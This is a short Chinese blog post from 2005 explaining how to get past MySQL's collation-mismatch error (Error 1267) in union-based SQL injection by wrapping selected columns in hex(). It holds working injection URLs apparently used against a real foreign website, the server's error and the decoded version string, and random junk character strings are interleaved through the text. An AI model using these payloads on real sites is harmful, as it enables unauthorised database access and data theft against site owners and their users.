MySQL注射时ErrorNo.1267的突破

admin

本文作者：SuperHei
( f" O4 C; q4 w! F9 V文章性质：原创
0 V6 S# L% P1 o, N& W8 v2 |发布日期：2005-10-18
测试个国外的站时：
url：?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
返回错误：
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
4 F' z8 g/ W2 VMySQL Error No. 126
看来是union查询前后字符集（http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html）不同出现的。
7 J9 s+ M7 O3 f' G/ ?# E" R7 X解决办法：转为其他编码如hex。
" ~$ N* U; }( C6 u- D: Nurl：?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
成功得到hex(version())的值为：
9 y7 _3 p$ D1 U342E312E332D62657461
- z; t, `9 i( y1 `6 s, ~回Mysql查询下得到：
5 c$ A; ^5 U7 Z. f! M; Bmysql> select 0x342E312E332D62657461;
' v' E  K. W; \* Q; a- H0 D( p+------------------------+
4 }& g) d# {# D! ^# e7 d| 0x342E312E332D62657461 |
; a8 e* G4 s+ b' f7 D+------------------------+
( E( C! \; w4 Y" F4 S& X- n| 4.1.3-beta |
+------------------------+
1 row in set (0.00 sec)
) H& G; P! ~& ~) G8 J  x8 G0 _
* V, d+ u7 t+ m6 u